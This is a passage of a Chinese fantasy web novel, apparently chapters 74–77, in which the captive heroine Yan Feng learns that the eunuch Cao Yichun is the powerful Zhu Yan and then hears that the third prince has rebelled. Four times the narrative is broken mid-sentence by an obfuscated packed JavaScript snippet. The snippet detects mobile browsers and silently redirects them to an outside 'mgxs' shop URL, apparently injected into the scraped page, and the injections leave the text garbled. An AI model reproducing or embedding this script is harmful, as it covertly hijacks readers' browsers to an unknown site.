水盗头子像是听到了天大的笑话，嗤笑：“你算老几？老子手里可是个皇子，金贵得很！你是个什么东西，也配来换？” “你绑一个杀又杀不得、碰又碰不得的皇子，除了听一帮太监聒噪，还有什么用？” 水盗头子被她戳中痛处，恼羞成怒：“谁说老子不敢杀！” “好啊，这很省事。” 燕风面无表情，做了一个‘请便’的手势。 “阁下请动手，燕某在此提前谢过。” “你！” 水盗头子气结，但看她那浑不在意的模样，心中疑窦丛生。 他眼珠一转，自以为想通了关窍，狞笑道，“你装什么装！你是个护卫皇子的官儿，他要是死了，你还能活？回去不一样要被砍头！” 燕风脸上终于露出一点笑，只是那笑在跳跃的火光下显得阴恻恻的。 “阁下在这条河上做这无本买卖，日子过得挺逍遥吧？知道为何至今还能如此逍遥吗？” 水盗头子下意识顺着她的话得意道：“还能为什么？自然是你们这些酒囊饭袋的官老爷没本事！” 他话音一落，周围几条船上的水盗都配合地爆发出一阵哄堂大笑，声震河面。 燕风也不动怒，耐心等他们笑完，才慢条斯理地开口：“你说得很对。但更主要的原因是，剿你们，费钱。” 水盗头子一愣。 燕风继续道：“可你知道，朝廷每年供养一个像你手上这样的藩王，岁禄是多少吗？” 她缓缓举起一只手掌，五指张开，“足够广发天下英雄令，把你们来回剿灭十几次，还能有富余。” 她目光扫过那些渐渐止住笑声的水盗：“你杀了他，朝廷正好省下这笔巨款。届时，不光你们，整条运河上，所有碍眼的水匪、河霸，都能被名正言顺地杀一遍。而且，杀你们只需要一次开销，岁禄却能年年省。这是个一本万利的好买卖。” 此言一出，不光水盗们脸上的笑容僵住了，连燕风身后的侍卫太监们也都陷入了死一般的沉默。 燕风仿佛没看到众人的脸色，又补充道： “噢，你也不必太担心我的前程。在场的，除了你手上那个，官最大的就是我。等你杀了皇子，这里自然由我说了算。有不听话的也没关系，我可以杀。只要我们上下统一口径，说是你们人多势众，悍匪盘根错节，我们力战不敌，那就是情有可原。最多判个办事不力，罚点俸禄了事，户部还能再赚一笔。等剿匪的专项款拨下来，地方上还能层层克扣……” “这一番下来，养活多少人？” 她笑了，笑得十分真诚： “这叫，一木枯，百草生。” * 船舱里又潮又闷，一股子鱼腥味混着老木头霉烂的味儿，实在算不上好闻。 燕风身上被麻绳捆得结结实实，后头那水盗还不解气，又狠狠推了她一把。 她一个没站稳，“咚”地一声，肩膀直接撞上了硬邦邦的船板，疼得她龇牙咧嘴。 旁边曹宜春曹公公也没落着好，同样被捆得像粽子似的，给推搡到了地上。 “实在对不住，曹公公。”燕风侧过脸，带着几分真诚的歉意，“没能把您也一并给换回去。” 曹宜春微微偏头，唇角牵起安抚的笑：“公主殿下哪里的话。我其实很佩服殿下方才的急智与胆魄。但愿这一趟，能化险为夷吧。” ‘公主’二字入耳，燕风不由微微一怔。 这个称呼，暌违已久了。 她下意识回望去，才发觉押送他们的水盗早已迫不及待地退了出去，重新挤回甲板看热闹——刚脱困的二皇子，似乎正带人与水盗继续周旋。 除了他们两人，水盗也并未释放二皇子的那些姬妾，却也没将她们如燕风这般关押起来，反而依旧让她们留在甲板上，成了今晚一景。 大概再没有什么比美人泣泪更赏心悦目的了。 说实在的，她这会儿还真有点后悔。 倒不是后悔将自己置于这显而易见的险境——毕竟，严格说来，她和外面这群‘水盗’才算是一伙。 她后悔的是，在迟三等人借着这混乱局面，终于有机会去与那神秘的朱厌正面交涉的关键时刻，自己却被困在这暗无天日的底舱，无法亲临现场！ 不过，这也是没办法的事，再让她选一次，她还是会这么做。 这该死的、不合时宜的仗义。 她暗中运转内力，尝试挣脱身上的束缚。虽然这麻绳的质量和那水盗的绑法实在是很看得起她，但她要是豁出去再使上些巧劲，未必完全挣不开。 不过……还是算了，何必费这力气。 此刻，迟三他们想必正在船上某处与‘朱厌’对峙，任何风吹草动，都可能打草惊蛇，让整个计划功亏一篑。 “究竟谁才是朱厌呢？”她默默思忖，“肯定不是杨胜，他方才都快被逼得横刀自刎了，若他是朱厌，岂会如此狼狈？” 那等传说中的人物，必是心思深沉、手段超绝之辈。 “那么，就只剩下白砚生和严炳安了……” 她在心里把这俩人掂量来掂量去。 “白砚生此人平日里话不多，行事也比严炳安沉稳些，大概就是他了吧。” 她叹了口气，压□□内 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485580|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奔流的内息，继续扮演着柔弱囚徒的角色。 船舱内的时间仿佛凝滞，只余下船底的汩汩水声。 太安静了。 安静得让人心焦，也让人……百无聊赖。燕风的目光落在身旁始终静默的曹宜春身上。 对方闭目倚着舱壁，神色平和得不像身处贼窝，倒像在自家庭院小憩。 这位年轻却位高权重的秉笔太监，打从第一次见到他起，他好像就是这样气定神闲的样子，仿佛什么事都不能出乎他的意料。 这份超然的镇定，让燕风生出几分攀谈的兴致。 “曹公公似乎并不害怕？” 曹宜春缓缓睁开眼，那双清亮的眸子里果然并无惧色：“殿下不也未见慌乱么？我只是觉得，惊慌于事无补。” “公公说得是。但知道是一回事，真正做到便是另一回事了。” 燕风意有所指：“知行合一，最难不过。不过从另一方面说也是，有时候，有人嘴上虽然说得大逆不道，实则永远不会那般行事。公公……明白我的意思么？” 曹宜春了然地看她一眼，笑道：“殿下放心。今日之后，世人只会知道殿下智勇双全，自水盗手中救回皇子，至于具体如何施为……” 他温和道：“不会有人知晓，亦不会有人多问。” 燕风真心实意地点了点头。 她担心的正是这个。 二皇子那边她倒不甚在意。藩王无诏不得归京，即便他想写信去御前告状，山高路远，那信使在路上也足够她派人拦截个八百回了。 她心下稍安，便挪了挪身子，想找个舒服点的姿势靠一会儿。谁知这人一旦从紧绷的状态里放松下来，身体其他被忽略的需求就立刻冒头抗议了。 “咕噜——” 一声清晰又绵长的肠鸣，在寂静的船舱里显得格外突兀。 燕风脸上顿时有些挂不住，早知道趁着刚才乱成一锅粥的时候，她就该溜进二皇子那间豪华舱房里，把那几块看起来就很好吃的糕点摸走垫肚子！ 反正二皇子那草包肯定不是朱厌，迟三他们要下毒也毒不着他，那点心绝对是安全的！ “殿下饿了？”曹宜春的声音适时响起。 燕风还没来得及尴尬，就见他以一种极其刁钻的角度，艰难地从怀里勾出了一个小巧的油纸包，递到她面前。 纸包打开，里面赫然是几块做工精致的糕点，瞧着……竟和她在二皇子房里瞥见的那些一模一样！ 燕风脸上写满了疑惑。 曹宜春微笑解释道：“方才被他们制住的时候，想着恐怕要被关些时候，跑是来不及跑了，但顺手拿几块点心以备不时之需，还是来得及的。” 他说着，自己先低头叼起一块吃了：“味道尚可，但等过了夜恐怕就要坏了。” 燕风瞅了瞅他那还算灵活的身段，心想定是那些水盗看他文文弱弱一副好欺负的样子，懒得下死力气捆。再低头看看自己身上捆得密密麻麻的绳子，不由得在心里翻了个白眼。 不过，人家都先吃为敬了，再推辞就显得矫情了。 燕风索性也凑过头去，就着他的手，小心地叼走一块。 酥皮入口即化，内馅甜而不腻，果然是好东西！ 两人就这么你一块，我一块，把糕点分完了。 75. 对峙 酥皮点心香甜的余味还在唇齿间萦绕，冷不丁地，曹宜春又开口了。 “殿下方才对着那些贼人所说的‘一木枯，百草生’，虽是权宜之计，但细想之下，其实很有道理。” 他目光清明：“若世人都能如殿下这般，看透利害本质，而非被忠义仁德的表象所困，许多事情，或许真能简单许多。” 燕风闻言颇有些意外，这话可不像是一个宫廷内侍会说的。 曹宜春笑道：“殿下不必这样看着我。我只是快要走了，临行前想说几句实话。” “走？”燕风心头一跳，“走去哪里？你不是奉旨南下有公务在身吗？” 她话音未落—— “砰！” 舱门被一股蛮力猛地撞开，冰冷的河风瞬间灌入！ 两道身影赫然出现在门口。 那两人撞开门后，反倒不急着进来了，只是定定地站在门外，动作间透着几分忌惮。 燕风定睛看去，呼吸霎时一滞。 一个是一直在船上假扮船员的宗恂！另一个竟然是许久不见的罗同！ “罗师父！”燕风心中的惊疑瞬间达到顶点，几乎是脱口而出，“您怎么来了！” 罗同被她这过于激烈的反应弄得一愣，怪道：“我为什么不能来？” “因为迟三告诉过你。” 曹宜春的声音平静地接过了话头，如同寒冬腊月里兜头浇下的一盆冰水。 “罗同与我，是水火难容的死对头。彼此躲着还来不及，断不会主动凑到一处。是吧？” 燕风浑身一僵，血液仿佛在刹那间凝固成冰。 她猛然转头，目光死死钉在曹宜春那张依旧温润平和的脸庞上。 曹宜春，朱厌！ 这几个字在她脑海中轰然炸开，震得她耳畔嗡嗡作响。 无数被忽略的细节、不合常理的蛛丝马迹，此刻如同破碎的潮水般汹涌回灌—— 自己当真从未怀疑过他吗？ 不，不是的。 那样年轻却身居高位，那份超乎年龄的沉稳…… 只是这疑虑，后来被她自己亲手掐灭了。 是啊，迟三说罗同与朱厌是死对头。 可去岁北地，罗同和曹宜春是同行来接她，两人相安无事。 可若……迟三是在说谎呢？ 为何要说谎？ 是为了让她这个容易情绪外露的人，能在真正的猛虎身边安然扮演无知，不至于因一个眼神而提前葬送全局？ 纷乱的思绪如乱麻般绞紧，几乎让她窒息。 但现在不是深究的时候！ 一个更现实的恐惧瞬间攫住了她—— 刚才吃进去的糕点！ 燕风猛地尝试运转内力，却骇然发现四肢百骸像是被抽空了力气，软绵绵地使不上半分劲道。 那糕点果然有问题！ 天杀的！为了防这一手，她硬生生啃了七八天的干粮，饿得前胸贴后背，却在这最后一刻破了功！ 唯一稍感安慰的是朱厌自己也吃了同样的糕点，要中招也是一起中招！ 这念头刚闪过，眼前发生的一幕就让她彻底破了防。 只见曹宜春，或者说朱厌，只是微微动了动被反绑在身后的手腕，那看着原本结实无比的麻绳，竟在无声无息间化作了细密的粉末，簌簌而落。 燕风：“？？？” 朱厌轻松地活动了一下重获自由的手腕，回头瞥了一眼还被捆得结结实实的燕风，像是才想起什么，露出了一个带着几分无奈的笑容： “抱歉，这毒真不是我给你下的。多少年了，那个人还是不相信，我早已百毒不侵了。” 朱厌朝燕风走出一步。 下一瞬，宗恂便从门口疾冲而至，毫不犹豫地拦在了燕风身前，将她护在身后。 朱厌对此似乎毫不意外，随意地一抬手，便精准地扣住了宗恂的脖颈，竟如同拎起一只无力反抗的幼兽般，轻而易举地将他提离了地面。 宗恂一身不俗的武艺，在他面前竟如同儿戏，连一丝有效的反抗都未能做出。 “放开他！” 燕风目眦欲裂，那一声嘶吼几乎扯裂了她的喉咙。 眼见宗恂因她受难，生命在他人指尖飞速流逝，一股从未有过的恐慌与暴怒轰然冲垮了她的理智！急怒攻心之下，一股沛然莫御的力量自她体内轰然爆发！ 霎时间，逼仄的船舱内狂风大作，无形的气流化作锋锐无匹的风刃，带着尖啸直逼朱厌而去！ “嗤啦”几声轻响，朱厌脸上瞬间被划开了几道细浅的血痕，沁出鲜红的血珠。 他微微一怔，抬手抹去血痕，看着指尖的殷红，非但没有动怒，反而低低地笑了起来。 那笑声中竟带着几分难以言喻的……愉悦？ “很好。”他扣着宗恂脖颈的手毫无预兆地松了开来。 宗恂跌落在地，发出一阵剧烈的呛咳。 燕风心中焦急如焚，也顾不得自身还被绳索束缚，奋力挪动身体凑上前去，膝盖重重撞在船板上也浑然不觉得痛。 “将军，将军。” 她无法触碰他，只能焦急地用目光检视，看到他颈间那一圈刺目的紫红色淤痕，只觉得自己的喉咙也跟着剧痛起来。后怕与怒火，顿时在胸腔里狠狠翻搅起来。 万幸，宗恂咳了一阵，呼吸渐渐平顺。他抬起眼，对上燕风那双盛满了惊惶与关切的眸子，竟忍着痛，艰难地扯出一个安抚般的微笑，用沙哑的气音道：“我没事。” “别太紧张。他对我们没有敌意。” 迟三不知何时已斜倚在门框上：“若他真想取谁性命，也等不到今日。我们这些人，在他面前根本就没有丝毫抵抗之力。” 朱厌闻言轻笑，目光如冰冷的蛛丝般缠绕在迟三身上：“兄长，你终于来了。你说得大体不错，但有一处小小的偏差——” 他声音依旧温和：“我对他们确实没什么敌意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485581|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。但对你，却有几分不满呢。” 迟三挑眉，故作讶异：“噢？是怪我这些年坏了你的名声？可我说的句句属实。更何况，我这也是为你好。” 他摊了摊手，带着几分有恃无恐的坦然：“再说了，你我亲兄弟，血脉相连。就算你对我有些许不满，又能如何呢？不如早早放下。” “放下？”朱厌低低笑了起来，那笑声在狭小的船舱里回荡，听着令人毛骨悚然。 “噢，兄长是指那条‘不得残害同代血亲’的铁律么？” 他向前踏出一步，远处的火光在他眸中跳动。 “父杀子，子弑父……这本就是我们家族代代相传的传统啊。可有人受到过什么天罚吗？” 他微微偏头，凝视着迟三骤然苍白的脸，轻声道：“你说呢，我的好‘哥哥’？” 这句话如同匕首，狠狠扎破了迟三的伪装。 迟三脸上那副游刃有余的面具瞬间碎裂，他血色尽褪，连扶着门框的手指都控制不住地颤抖起来。 “你都知道了？是什么时候的事。” 朱厌从喉间逸出一声冷笑，并未作答，甚至不再多看迟三一眼，仿佛他已无足轻重。 他转而将目光重新投回燕风身上，再次举步。 宗恂用手臂强撑着甲板，艰难却又无比迅速地重新站了起来。 他的呼吸仍因脖颈的剧痛而带着杂音，身体微微晃动，却再一次，无比执拗地，将自己横亘在燕风与来人之间。 朱厌的脚步停下，他的目光落在宗恂身上—— 这年轻人分明已狼狈不堪，那眼神却依旧亮得灼人，钉在原地，寸步不让。 奇怪的是，朱厌眼底非但没有不悦，反而掠过一丝近乎纵容的温柔光芒。 “你放心，”他的声音放缓，像是一种安抚，“我向你保证，我不会伤害她一丝一毫。我只是想同她说几句话。” “隔着我。”宗恂的嗓音嘶哑破裂，却依旧掷地有声，“也能说。” 朱厌并未因这再三的阻拦而恼怒，反而好脾气地摇了摇头，就这般顺势撩袍，随意地席地而坐，目光越过宗恂的腰际，与后方的燕风平视。 燕风能感受到那人视线。但她强迫自己不去与他对视，以免眼底翻腾的情绪，无论是愤怒还是恐惧，会进一步刺激或取悦对方，成为一种无形的滋养。 朱厌似乎看穿了她的心思，若有所思地偏了下头，随即隔空朝着燕风的方向，信手一抬。 一股柔和却无法抗拒的气流拂过。 下一息，燕风身上那捆得结实无比的麻绳，仿佛被无数看不见的利刃切割，片片滑落，在她脚边堆成一圈。 “这是我的诚意。”他语声温和，随即又轻轻点在宗恂的膝弯。 宗恂只觉得一股柔力透骨而来，双腿一软，身不由己地跌坐在地。 “你也坐下吧。”朱厌的声音自上而下传来，带着一种奇异的平静。 “一起听听，我的故事。” 76. 寂灭 相传百年前，有神女自九天陨落，临逝前将神血洒落人间。 自此，便有七个家族得其恩泽，将这份力量代代相传于血脉之中。 为免神血因族人繁衍而日渐稀薄，各家立下族规：一代之中，需选出一名家主，唯有家主方能传承神力于后代。 神女临终前亦曾降下铁律：同族同代，不可相残，违者必遭天罚。 然而百年之后，因种种缘由，七族至今仅余其三尚存于世。 “对了，可知他们为何执意要弑君？”朱厌话锋一转，饶有兴致地望向燕风。 燕风余怒未消，抿嘴不答。 朱厌自顾自说了下去：“因当今天子，是百年来唯一一个并非七姓出身，却亲手倾覆了其中一整个家族，从而获得神血能力的人。说来也算讽刺，这几家历来彼此制衡，争斗不休，反倒被他寻得破绽，一举得手。” 他嘲道：“这倒也带来一桩好处。自那以后，残存的几家竟空前团结起来。若在几十年前，想见他们并肩共事，简直是痴人说梦。” 至于这几家为何要彼此倾轧，缘由倒也简单。 诛杀他族家主，便可吞噬其神血。若能将对方全族屠尽，更是永绝后患。 “不过，要争夺神血，也并非只有这一条残暴之路。”朱厌冷笑。 约在二十多年前，有一家的家主骤然离世。死之前，虽留下了一位能力出众的继任者，却因某些不便言说的缘由，始终未得族老认可，继位仪式便一拖再拖。 这便给了外人可乘之机。 另一族的家主，偶然得了一个婴孩。依他往日性情，必要当场诛绝，因为这个不被期待的孩子势必要分走一部分神血之力。 然而彼时，他心头却萌生了一个绝妙的念头。 他将那婴孩秘密豢养在那家族的祖茔之侧，借其地脉气息日夜滋养。待其稍长，更以秘法一次次碾碎其血肉、重塑其筋骨、涤荡其脏腑……此过程谓之“脱胎换骨”。 他赌的，便是在那家族先辈气息的长期浸染下，那家残存于世的神血，会将这饱经摧残、不断重塑的孩子，错认为新的继承人。 他赌赢了。 神女陨落已久，残存的神识早已无力分辨凡人这般精巧的算计与卑劣的偷换。 那孩子，果真成了那一家族新生的家主。也在周而复始的毁灭与重生中，变得无比强大。 “他们是如何向你描述我的？”朱厌看向燕风，眼神复杂，“让我猜猜……强大？古怪？不祥？总归不会是什么好话。不过，这也难怪。” “毕竟，那个亲手造就我的人，在发现我已超出他想象的强大之后，每一次重逢，想的都是如何取我性命。不，或许从一开始，他便是这般打算的：杀死新任的家主，掠夺其力量。仅此而已。” 一番话下来，门口的迟三已经面无人色。而燕风仍旧低着头。 朱厌淡淡一笑：“接下来，就说些你感兴趣的吧。” 他话音方落，异变陡生！ 一阵浓郁的白雾毫无征兆地从脚底漫起，眨眼间吞噬了周遭的一切。 燕风猛地抬头，心头剧震—— 方才还守在身前的宗恂、门口面如死灰的迟三，沉默不语的罗同，乃至整个船舱的景象，竟如同被凭空抹去般消失不见！ 唯有朱厌，依旧好整以暇地坐在她对面，静静地看着她。 是幻术！ 迟三曾在她面前施展过的把戏！她看不见外面的人，外面的人也看不见他们。 可此刻这气机如此凝练，远非迟三当时可比。 “你要做什么？”燕风全身戒备。 “别紧张。”朱厌温声道，“我说过很多次，不会伤害你们。只是接下来的话，不便再让旁人听见。” “你想说便说，我听着就是。”她强压着不安。 朱厌并不在意她言语中的抵触，继续道：“在我尚未意识到自己的强大，仍对我的‘兄长’充满忌惮之时，曾被派往京城行刺皇帝。我必须承认，那位陛下因掠夺神血而获得的归顺之力，确实非同一般。但也并未强大到能让我迷失心智，彻底臣服。” “我只是，感到厌倦了，想寻一处暂且歇脚。” “后来，罗同对我说，皇帝有一位流落在外的公主，若能迎回，可助益国运更加昌隆。对此，我自然不信。但他对我底细一无所知，竟真的设法，将我引至你的面前。” “我原本的计划是，见到你，杀了你。” 燕风呼吸一滞。 “但在见到你的那一瞬间，”朱厌的话音微微一顿，目光似乎穿透了眼前的雾气，落到了遥远的过去，“我改变了主意。” 他重新看向燕风，眼神变得异常深邃而复杂。 “我突然明白了一件事。我这一生，历经无数劫难，在一次次濒临毁灭的绝境中辗转求生……或许，并非侥幸。” 他说：“我活着，是因为还有使命未竟。” 燕风眯起眼睛，盯着他，不知他究竟想说什么。 “我的使命，”朱厌一字一句，轻声道，“就是将你带到京城。然后，在最后的时刻，亲口告诉你这一切。” 话音未落，燕风只觉眼前一花。 朱厌的身影瞬间欺近，快得超出了她反应的极限。 在她惊惧的目光中，他却只是俯下身，一个浅淡而温柔的吻，如同飘落的花瓣，轻轻地，印在她的额间。 “这一世，祝你夙愿得偿。” 他低沉的声音在她耳畔响起：“终有一天，再见。” “嗡——” 周遭的白雾如同它出现时一般骤然消散。嘈杂的人声、船舱里污浊的空气……所有的一切瞬间回归。 燕风猛地喘了一口气，仿佛刚从溺水中获救。 她急遽地环顾四周—— 宗恂正半跪在她面前，双手扶着她的肩膀，脸上满是担忧与惊惶。 迟三和罗同也仍立在门口，神情复杂。 唯独那个身着宦官服饰，却有着惊世之能的身影，已然不知所踪，仿佛从未存在过。 “你怎么样？他没有伤害你吧？”宗恂用目光无声地询问。 燕风想回答，想将方才那匪夷所思的一切和盘托出，可嘴唇微张的瞬间，那段短短的记忆，竟如同被一只无形之手瞬间抹去，飞速消散。 只留下一片茫然的空白。 她怔了怔，最终只是摇了摇头，声音飘忽：“我没事。” 船舱内陷入一种诡异的寂静。 沉默了一晚上的罗同，眉头紧锁，目光扫过空荡荡的舱室，最终落在迟三身上：“朱厌去哪了？迟三，你怎么还活着？” 燕风心神渐定，但一丝极其微弱的感应，如同水底的暗流，在她意识中悄然涌动。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485582|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几乎是鬼使神差地，她抬起头，语气带着不容置疑的笃定： “朱厌走之前说了，留他一条命，供我驱策。若不听话，这条命他随时来取。” * 官船上，江鱼早已急得如同热锅上的蚂蚁。 她一把扯住陈青的衣袖：“陈大哥，头儿被那些杀千刀的水盗抓去了，我们得想办法啊！” 严炳安在一旁抄着手，插嘴：“急什么？二皇子殿下不是正在那边谈吗？总能救回来的。” 江鱼狠狠剜了他一眼，心下暗道：头儿当众说了那番大逆不道的话，二皇子此刻怕不是恨得牙痒，能指望他救人？ 白砚生眉头紧锁：“为今之计，唯有寻求外援。若能引得附近官府兵马前来，或可破局。” “对对对！找官府！”江鱼眼中燃起希望，“我知道路，青桥县衙离这儿大概十几里。可……是不是太远了？等他们赶来还来得及吗？有没有更快的法子？” 陈青冷静分析：“若在军中，无非狼烟、鸣镝、火器。鸣镝传讯距离不够远，狼烟夜里不显。这船上，可有火器？” 众人面面相觑。 严炳安突然嘴角一勾：“火器管制极严，二皇子南下就藩自然不会带。但我知道有样东西，效果差不多，他肯定有。” 与此同时，在水盗船的底舱内。 迟三和罗同已悄然离去，只留下燕风与宗恂。 “他们去做什么了？”燕风揉了揉依旧有些发懵的额角。 宗恂强忍着喉咙火烧火燎的疼痛，温声解释：“朱厌走了，但‘曹公公’的去向需要一个交代。他们得去给所有目击者编织一个合理的幻象，把这出戏圆回来。迟三可有的忙了。” 燕风的目光落在他颈间那道刺目的紫红色掐痕上，忍不住伸手轻轻抚上：“还疼吗？” 宗恂下意识地想躲，却又生生忍住，只是摇了摇头。 “咻——嘭！” 突然，几道亮光拖着长长的尾焰蹿上夜空，随即轰然绽开，化作朵朵绚烂却毫无章法的巨大花团，将漆黑的天幕和浑浊的江面瞬间照亮。 官船船尾，江鱼和陈青等人仰头看着夜空中那过分花哨的烟花，陷入了沉默。 “这……”江鱼嘴角抽搐了一下，“官府的老爷们，能看懂咱们是在求救吗？” 陈青木着一张脸：“…有点难。” 严炳安倒是颇有些欣赏：“效果不是挺好？” 燕风也被舷窗外突如其来的光亮吸引了注意：“这是……过年了？” 宗恂不露声色地拉高衣领，掩住颈间的伤痕，顺势转移了话题：“说起过年。今年年节时，我收到了一套新衣。是你送的吧？我一直舍不得穿。” 燕风听了，颇有些不好意思：“有什么舍不得的，我手艺不好，胡乱做的。” 她忽然想起一事，从怀中小心翼翼地取出一块折叠得四四方方的棉布，“对了，你不是也还了我一条吗？前几日夜里，在船顶上，是你给我盖上的吧？” 宗恂看着那方陌生的棉布，明显愣了一下，随即摇头，语气肯定：“不是我。为免节外生枝，我这几日从未登过你住的那条船。” “那会是谁？”燕风脱口问道。 窗外最后一朵烟花恰好寂灭，船舱内重归昏暗。 那个呼之欲出的答案，让燕风的心猛地一沉。 77. 不祥 “恭喜燕大人，贺喜燕大人！” 罗同与迟三做事十分干净利落。 待到第二日，整支船队上下都只记得曹宜春曹公公另有紧要公务，已悄然离队。昨夜种种，所谓水盗、混乱、乃至那场突兀的烟花，都像从未发生过一般，在众人的记忆中被悄然抹去。 唯有一人略显特殊，那便是曹宜春带来的随从小彭子。 燕风正思忖着该寻个什么由头，将他也划拉到自己麾下安顿好。反正自己手下卧龙凤雏不少，再多一个小随从，也算不得什么负担。 不料，她还未想好理由，小彭子竟主动前来辞行。面对主人的不辞而别，他脸上不见半分意外，反而平静道：“大人明鉴，小人原非宫籍，乃是曹公公私契聘来的。临行前公公便有交代，此趟差事毕，契约即止。” 他如释重负：“从今日起，小人便是自由身了。” 燕风心下微动。那人当真是早就把什么都想好了，连身边一个小小随从的退路都安排得如此妥帖，不留半点首尾。 按原定行程，昨夜船队本该已过青桥县，但因昨夜这番耽搁，直至今日早间才抵达。船工们虽觉蹊跷，二皇子却兴致颇高，直说泊岸走走正好。遂下令靠岸，允众人登岸散心，约定午后再启程。 燕风自然拉着江鱼下了船，打算寻个食肆好生祭一祭五脏庙。待吃饱喝足走在青石板路上，她忽然想起江鱼昨日提过的神女庙，好像恰就在附近。 这般巧合，倒像是冥冥中自有指引。 “走吧，”她轻扯江鱼衣袖，“既到了此地，合该去神女庙上炷香，求个平安签。” 那神女庙远看规模不小，依稀能辨出昔年也曾有过气派的光景，只是如今破败得实在可以。墙皮剥落，檐角生草，让人疑心在门口跺跺脚，里头就得扑簌簌掉下一阵土灰来。 江鱼早已一步跨了进去，回头招呼燕风：“进来呀？不是你说要来拜的吗？” 燕风这才小心翼翼地挪了进去，才发现里头与外头的观感截然不同。虽也陈旧，却收拾得颇为洁净，更显眼的是，殿内各处都支起了高高的木桩，顶着头顶的梁架，虽然看着不甚美观，但好歹让人安心了些。 这庙一时半会儿大概是塌不了了。 江鱼见她四下打量，不由轻叹一声："眼下这般光景已算难得了。听我祖母说，她的祖母幼时便常在这庙里玩耍，算来少说也有上百年了。" 她边说边恭恭敬敬地走到神像前，拈起三炷香点燃，合十拜了三拜。 燕风仰首细看，那神像是整块青石雕成，不知历经多少春秋香火，通体被摩挲得莹润如玉。岁月侵蚀下，神像五官早已模糊难辨，只能依稀看出一个女子轮廓。 奇的是，虽面目朦胧，那身姿却透着一股难得的英武之气，与寻常庙宇里温婉端庄的女神像大不相同。 “这位神女，可有什么名号？”她好奇问道。 江鱼摇头：“不知道哩。大家都叫她神女娘娘，若有名讳，大概也不是我们这些凡夫俗子能知道的。” 燕风点点头，心想大概就是本地供奉的一位土著神仙了，便也入乡随俗，学着江鱼的样子拜了拜。 等她直起身，却见江鱼不知从哪里掏出个古旧的签筒。她笑嘻嘻：“上了香，就可以向神女娘娘求支签了。” 燕风随口问：“这签灵验吗？” 江鱼说了句俏皮话：“不灵的时候自然不灵，灵的时候嘛，那也是相当灵的！” 接着她闭上眼睛，口中念念有词地摇晃起来。不多时，“啪嗒”一声，一支竹签应声落地。 她捡起来一看，上面用工整的小楷写着两个字：平安。 “哈！你看，今日就很灵！”江鱼顿时眉开眼笑，将签筒递给燕风，“给你，你也试试！” 燕风接过签筒，也学着她的样子，合目默祷，轻轻摇晃。可摇了半天，手臂都有些酸了，筒里的竹签像是被粘住了一般，竟一支也未落下。 “怎么回事？”燕风有些纳闷，“我是第一次求签，难道还有什么诀窍？怎么摇不出来？” 江鱼也觉奇怪，凑过来看了看：“你用点力试试？或许卡住了？” 燕风依言，手上加了几分力道，竹签在筒内哗啦啦作响，碰撞声越来越急。 突然，“咔嚓”一声脆响，那饱经风霜的签筒竟应声迸裂。满筒的竹签哗啦啦洒了一地，滚得到处都是。 两人看着满地狼藉，一时都愣住了。待回过神来，她们慌忙俯身收拾。 这一捡才发现，每一支竹签上，竟都工工整整地刻着“平安”二字。 江鱼强笑着宽慰一脸茫然的燕风：“这、这定是神女娘娘赐了你满堂平安！这可是天大的吉兆啊……” 话音未落，庙门外突然闯进一个熟悉的身影。 陈青气息未定，满脸焦灼。 “果然在这里！快随我回去，京城急报！三皇子，造反了！” * 皇子造反的消息如同惊雷炸响。 京中急诏，所有在册却外派的武官必须即刻返京勤王。燕风不敢耽搁，当即带着四名属下，弃船换马，星夜兼程，朝着京城方向疾驰。 马蹄声急，踏起官道上滚滚烟尘。燕风伏在马背上，耳边是呼啸的风声，心中更是翻江倒海。 三皇子造反了！ 这消息实在大大出乎她的意料。 她承认，离京之前，自己确实暗中动了些手脚，或许……或许是为三皇子与徐家的接触铺了一块小小的垫脚石。 可这才过去几天？ 难道那三皇子与徐家，竟像两个彼此有意却因为羞涩而扭扭捏捏的年轻人，经她这不经意地一牵线，立刻就干柴烈火，烧得火光冲天，乃至天崩地裂了吗？ 她何德何能，有这般翻云覆雨的通天能耐！ 然而，无论前因如何荒谬，三皇子逼宫造反，已然是板上钉钉的事实。 信使南下传讯需时日，她此刻快马回援亦需时日。须知造 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 